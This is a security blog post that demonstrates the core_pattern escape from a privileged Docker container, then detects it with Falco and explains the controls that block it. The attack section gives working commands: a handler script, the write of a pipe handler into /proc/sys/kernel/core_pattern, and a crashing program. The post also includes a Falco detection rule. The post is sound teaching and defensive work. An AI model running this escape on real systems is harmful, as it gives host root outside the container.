Intro

This post starts a new series: Container Escapes. Each post takes one escape technique and follows it through the same three phases: attack (run the escape), detect (watch it happen with runtime tooling), defend (the controls that stop it). One technique per post, start to finish.

It follows my earlier container posts, which were about building isolation from scratch (namespaces, cgroups, capabilities, seccomp). This series is about breaking that isolation when it is configured wrong, and then putting it back together.

First technique: the core_pattern escape from a privileged container. A few reasons I picked it to open the series. It is not a CVE, it has been public since around 2019, and it still works on a default Docker install. It also shows a specific kernel behavior clearly: sometimes the kernel runs a userspace program on your behalf, as root, and that becomes a problem when a container can choose which program.

Threat model

The attack requires one misconfiguration: a privileged container.

docker run --privileged ...

--privileged turns on several things at once. The container gets the full capability set (including CAP_SYS_ADMIN), device access, and a writable /proc/sys. This post is about what an attacker does with that last item.

[!] This does not apply to a default container. A default Docker container drops most caps and mounts /proc/sys read-only. The attack assumes someone already handed the container elevated privileges.

A privileged container can escape in several ways. This post covers one of them, core_pattern, because the mechanism is easy to follow end to end.


Background: how the kernel runs programs for you

Usermode helpers

Most of the time the flow is one-way: your process asks the kernel to do things through syscalls. In a few places the kernel needs to run a userspace program to finish a job, and it runs that program from kernel context, as root, in the host’s namespaces. This mechanism is called a usermode helper (call_usermodehelper in the source).

x86 defines four privilege rings. Linux uses only two: ring 3 for user code and ring 0 for the kernel. A syscall is the normal way in, ring 3 asking ring 0 to act. A usermode helper is the unusual way out: the kernel, running in ring 0, spawns a fresh ring 3 process itself, as root, in the initial namespaces.

Ring 3 · user mode Ring 2 · unused Ring 1 · unused Ring 0 kernel 1 syscall process asks kernel to act (ring 3 → ring 0) 2 call_usermodehelper kernel spawns a program as root (ring 0 → ring 3) root process ring 3, host namespaces, real host root

Some examples that share this pattern:

  • /proc/sys/kernel/modprobe: the program run when the kernel auto-loads a module.
  • /sys/fs/cgroup/.../release_agent: the program run when a cgroup empties (cgroup v1). This is the older container escape.
  • /proc/sys/kernel/core_pattern: the program run to handle a core dump.

Each one is a file whose contents are a command the host kernel will execute as root. If a container can write one of these files and then trigger the matching event, it runs code on the host. release_agent is cgroup v1 only and mostly gone on modern systems. core_pattern does not depend on cgroups and is still present everywhere.

All three funnel through the same kernel entry point. call_usermodehelper takes a path and arg vector and hands them to a helper kthread, which is a child of kthreadd (the kernel’s thread spawner) and therefore runs as root in the initial namespaces, not in whatever container triggered it:

// kernel/umh.c
int call_usermodehelper(const char *path, char **argv, char **envp, int wait)
{
	struct subprocess_info *info;
	gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;

	info = call_usermodehelper_setup(path, argv, envp, gfp_mask,
					 NULL, NULL, NULL);
	if (info == NULL)
		return -ENOMEM;

	return call_usermodehelper_exec(info, wait);
}

The core-dump path (do_coredump in fs/coredump.c) is one caller: when core_pattern begins with |, it parses the rest into argv and reaches this function. path is attacker-controlled, and the process it launches never sees the container. That is the whole escape in one sentence.

core_pattern and core dumps

When a process crashes with a core-generating signal (SIGSEGV, SIGABRT, and others), the kernel can write a memory image called a core dump. Where it goes is controlled by /proc/sys/kernel/core_pattern.

$ cat /proc/sys/kernel/core_pattern
core

That is the default: dump to a file called core. The value has a second mode. If it starts with a pipe |, the kernel does not write a file. It executes the program named after the pipe and streams the core dump to its stdin.

# "on any core dump, run /usr/bin/handler with these args"
|/usr/bin/handler %p %s %e

The % tokens are substitutions (%p = pid, %s = signal, %e = exe name). The relevant behavior is that the kernel executes the program.

[!] Systems using systemd-coredump, and WSL2 in my case, already ship a pipe handler by default. The pipe syntax is how core dumps are routed on most machines today.

Why it crosses the container boundary

Two facts make this an escape:

core_pattern is a single host-global kernel setting. It is not namespaced, so there is one value for the whole machine, containers included. And the handler it names runs in the host’s context: host mount namespace, host PID namespace, real host root.

So a process inside a container that can write /proc/sys/kernel/core_pattern is editing the host’s setting, not a container-local copy. The next core dump anywhere, including one the attacker triggers inside the container, makes the host kernel execute the attacker’s program as root, outside the container.


Attack

Lab setup

Throwaway VM, default Docker. Do not run this on anything you care about, since it rewrites a host-global kernel setting.

# confirm this is a default docker: overlay2 storage, no userns-remap
$ docker info --format '{{.Driver}} {{.SecurityOptions}}'
overlay2 [name=seccomp,profile=builtin name=cgroupns]

[!] name=userns must not be present. Docker with userns-remap enabled relocates container storage and runs the core-dump helper in a context where this PoC fails (coredump: ... pipe failed in dmesg). I cover this in the Defend section. It is why my own WSL2 box refused the escape at first.

Save the host value so we can restore it:

$ cat /proc/sys/kernel/core_pattern | sudo tee /root/core_pattern.orig

Start the vulnerable container:

$ docker run --rm -it --privileged ubuntu:22.04 bash

Recon

First step inside an unknown container: check how restricted you are. No external tool needed, just /proc.

# how many capabilities do we hold?
root@ctr:/# grep CapEff /proc/self/status
CapEff: 000001ffffffffff

000001ffffffffff is the full set, every capability. That indicates a privileged container. CAP_SYS_ADMIN is included, which is what allows writing kernel sysctls.

# is /proc/sys writable? (the second precondition)
root@ctr:/# echo test 2>/dev/null > /proc/sys/kernel/core_pattern && echo writable
writable

Both preconditions are met: full caps and a writable /proc/sys. The rest is mechanics.

The escape

Three steps: drop a payload, tell the kernel to run it on the next core dump, then cause a core dump.

1. The payload. A script that, when run by the host kernel as root, records enough to prove it ran on the host, and leaves the output where the container can read it.

cat > /handler.sh <<'EOF'
#!/bin/sh
{
  echo "handler ran as: $(id)"
  echo "host uname: $(uname -a)"
  echo "host /etc/hostname: $(cat /etc/hostname)"
  echo "host PID1: $(tr '\0' ' ' < /proc/1/cmdline)"
  echo "host / listing: $(ls /)"
} > /OUTPUT_PLACEHOLDER/proof.txt 2>&1
EOF
chmod +x /handler.sh

2. Find where the container’s filesystem lives on the host. The container root is an overlay mount, and its writable layer (upperdir) is a real directory on the host. We can read its host path from our own mount table:

UPPER=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /proc/self/mountinfo | head -1)
echo "$UPPER"
# /var/lib/docker/overlay2/<hash>/diff

sed -i "s#/OUTPUT_PLACEHOLDER#$UPPER#" /handler.sh

[!] The upperdir works in both directions. A file the host handler writes to $UPPER/proof.txt appears inside the container at /proof.txt, because that directory is the container’s writable layer. It is the same file under two paths.

3. Arm and fire. Point core_pattern at the handler using its host path, then crash a process.

echo "|$UPPER/handler.sh" > /proc/sys/kernel/core_pattern

# a tiny program whose only job is to segfault
printf 'int main(){*(volatile int*)0=0;return 0;}' > /crash.c
apt-get install -y gcc >/dev/null 2>&1
gcc -o /crash /crash.c
ulimit -c unlimited
/crash

/crash dereferences a null pointer, the kernel starts a core dump, sees the pipe in core_pattern, and runs our handler as host root.

[!] On a default host the #!/bin/sh handler works, because the usermode helper can resolve /bin/sh. If dmesg shows pipe failed, compile a static binary instead and point core_pattern at that ELF, which needs no interpreter. That is what happened to me on WSL2.

Proof

Read the file back from inside the container:

root@ctr:/# cat /proof.txt
handler ran as: uid=0(root) gid=0(root) groups=0(root)
host uname: Linux debian-lab 6.1.0-... x86_64 GNU/Linux
host /etc/hostname: debian-lab
host PID1: /sbin/init
host / listing: bin boot dev etc home lib ... root run sbin srv sys tmp usr var

The hostname is the host’s, not the container’s. PID 1 is the host init, not our bash. The root listing is the host filesystem. The handler ran as root, outside the container.

From the host you can confirm the kernel invoked the handler:

$ dmesg | grep -i coredump | tail -1
coredump: 1234(crash): |/var/lib/docker/overlay2/<hash>/diff/handler.sh

Detect

Escaping is half the work. If you defend systems, the useful question is whether you would have seen it. So I put Falco in front of the same attack. Falco is a CNCF runtime-security tool that taps the kernel through an eBPF probe and matches syscall activity against rules.

Inside container echo "|handler" > core_pattern eBPF probe kernel syscall tap Falco engine match against ruleset CRITICAL alert raised T1611 Escape open_write Alert fires on the write itself before the process crash and core dump are ever triggered

Default rules

I ran Falco with only its stable default ruleset and repeated the attack. It fired:

{
    "priority": "Notice",
    "rule": "Terminal shell in container",
    "output": "... process=bash container_image=ubuntu:22.04 ...",
    "source": "syscall"
}
{
    "priority": "Critical",
    "rule": "Drop and execute new binary in container",
    "output": "... command=gcc -o /crash /crash.c ... container_name=peaceful_kare ...",
    "tags": [
        "PCI_DSS_11.5.1",
        "TA0003",
        "container",
        "mitre_persistence",
        "process"
    ]
}

It caught the bash shell, and it caught gcc/as/ld//crash under “Drop and execute new binary in container” (one alert per compiler stage).

What it did not catch was the write to /proc/sys/kernel/core_pattern. The action that performs the escape produced no alerts. Launch Privileged Container did not fire either, because that rule ships disabled in stable (too noisy).

[!] Worth noting: default Falco detected me compiling and running a new binary, which are side effects of how I wrote the PoC. It did not detect the escape write.

Those side effects are easy to remove. Ship a static prebuilt crasher and there is no compiler step. Crash an existing base-image process (kill -SEGV on something already running) and there is no new binary. In that case default Falco produces no alerts while the escape still works. The detection here is incidental.

A rule that catches the mechanism

The escape is the write to core_pattern, so that is what the rule should watch: the file, not the surrounding activity.

- rule: Write to core_pattern from container
  desc: >
    A process inside a container opened /proc/sys/kernel/core_pattern for write.
    core_pattern is a host-global sysctl whose pipe handler the kernel executes
    as root on any core dump. Writing it from a container is a privileged-container
    escape primitive (T1611). Stable Falco default rules do not cover this file.
  condition: >
    open_write and container
    and fd.name = /proc/sys/kernel/core_pattern
  output: >
    core_pattern modified from inside a container
    (file=%fd.name proc=%proc.cmdline user=%user.name
     container=%container.name image=%container.image.repository:%container.image.tag)
  priority: CRITICAL
  tags: [container, escape, mitre_privilege_escalation, T1611]

It reuses Falco’s built-in open_write macro, scopes to container, and matches the one path that matters. I added a second, broader rule for the same class (modprobe and release_agent, the other usermode-helper files), so the coverage is not tied to a single path.

Load it:

docker run --rm -i --privileged \
  -v /var/run/docker.sock:/host/var/run/docker.sock \
  -v /dev:/host/dev \
  -v /proc:/host/proc:ro \
  -v /etc:/host/etc:ro \
  -v "$PWD/core_pattern_rule.yaml:/etc/falco/rules.d/core_pattern.yaml:ro" \
  falcosecurity/falco:latest \
  falco -o json_output=true -o json_include_output_property=true \
  2>&1 | tee ~/falco-round2.json

Run the escape in the other shell, Ctrl-C Falco, then pull the one line:

grep core_pattern ~/falco-round2.json

Now it gets it:

{
    "priority": "Critical",
    "rule": "Write to core_pattern from container",
    "output": "core_pattern modified from inside a container (file=/proc/sys/kernel/core_pattern proc=bash user=root container=naughty_neumann image=ubuntu:22.04)",
    "output_fields": {
        "fd.name": "/proc/sys/kernel/core_pattern",
        "proc.cmdline": "bash",
        "container.image.repository": "ubuntu",
        "container.image.tag": "22.04",
        "user.name": "root"
    },
    "source": "syscall",
    "tags": [
        "T1611",
        "container",
        "escape",
        "mitre_privilege_escalation"
    ]
}
CRITICAL Write to core_pattern from container file /proc/sys/kernel/core_pattern proc bash user root containernaughty_neumann image ubuntu:22.04 source syscall T1611 container escape

The escape now raises a CRITICAL alert, on the echo > core_pattern line, tagged T1611 (MITRE: Escape to Host).

Round 1 - default rules stable ruleset only Terminal shell in container Notice - caught the bash shell Drop and execute new binary Critical - gcc / as / ld / crash Write to core_pattern NOT DETECTED - the escape itself Only the noise around the PoC. Static binary + kill -SEGV → silent. Round 2 - + custom rule watch the escape Write to core_pattern from container CRITICAL - fires on the open_write tagged T1611 (Escape to Host) Matches the one path that performs the escape - independent of how the core dump is triggered.

Detection gaps

Being clear about what the rule covers:

  • It matches the open-for-write, so it fires the moment core_pattern is opened for writing, before any crash is triggered.
  • It will not catch a write through a path that does not resolve to /proc/sys/kernel/core_pattern as Falco sees it (bind-mount tricks, for example).

Falco alerts after the write happens. Stopping the write is the next section.


Defend

The single misconfiguration

Everything traced back to one flag: --privileged. Remove it and the attack has no foothold, because there is no CAP_SYS_ADMIN to authorize the sysctl write and /proc/sys is read-only. The first defense is simple: do not run privileged containers. Most workloads do not need it.

“Do not misconfigure it” is not enough on its own. Defense in depth means the escape should fail even if one layer is wrong. Here is what each independent control does to this specific attack.

Layered defenses

CONTROL EFFECT ON THIS ESCAPE no --privileged removes every precondition at once drop CAP_SYS_ADMIN write to core_pattern denied (EPERM) read-only / masked /proc core_pattern is not writable seccomp default profile blocks neighbouring syscalls (init_module...) no_new_privs no privilege regain across exec userns-remap container root ≠ host root; handler path unusable

To land this escape an attacker needs CAP_SYS_ADMIN, a writable /proc/sys, and the handler to run in a usable context. Removing any one of these breaks it. The userns-remap row is the one that stopped me by accident: my WSL2 Docker had it enabled, so the exploit failed with pipe failed until I forced --userns=host.

Defaults done right

Here I will point to my own runtime, bctor, which is the reason this series exists. bctor is a from-scratch container runtime I have been building to learn these primitives. Its design rule is that every isolation control is on by default, and weakening it must be an explicit opt-in.

Against this escape, a default bctor container:

  • drops CAP_SYS_ADMIN and every other capability, so the sysctl write is denied,
  • mounts /proc read-only and masks the sensitive paths, so there is nothing to write,
  • installs a seccomp profile, removing the neighbouring escape syscalls,
  • sets no_new_privs.

The first two stop this write outright. The last two do not touch this path, but they close the neighbouring escapes and harden the rest. None can be turned off without an explicit flag.


Conclusion

core_pattern is a 20-year-old kernel feature doing what it was designed to do, run a program on a core dump, abused by a container that was given too much privilege. That makes it a good example to learn from:

  • The attack is short once you see that core_pattern is host-global and the upperdir maps both ways.
  • The detection is a lesson on its own: the default ruleset caught the noise around my PoC, not the escape. Useful detection watches the mechanism.
  • The defense is layered: three independent controls each stop this write, and seccomp plus no_new_privs close the neighbouring escapes.

The host and container share one kernel. Most escapes in this space come down to a resource the kernel did not namespace, or a capability that should not have been granted.

Next in the series I will take another escape through the same attack, detect, defend cycle.

Check the repo: BCTOR GITHUB REPO

Follow me if this was useful. Hope you liked it! :)

References

https://github.com/elastic/detection-rules/issues/6216

https://pwning.systems/posts/escaping-containers-for-fun/

https://man7.org/linux/man-pages/man5/core.5.html

https://falco.org/docs/

https://attack.mitre.org/techniques/T1611/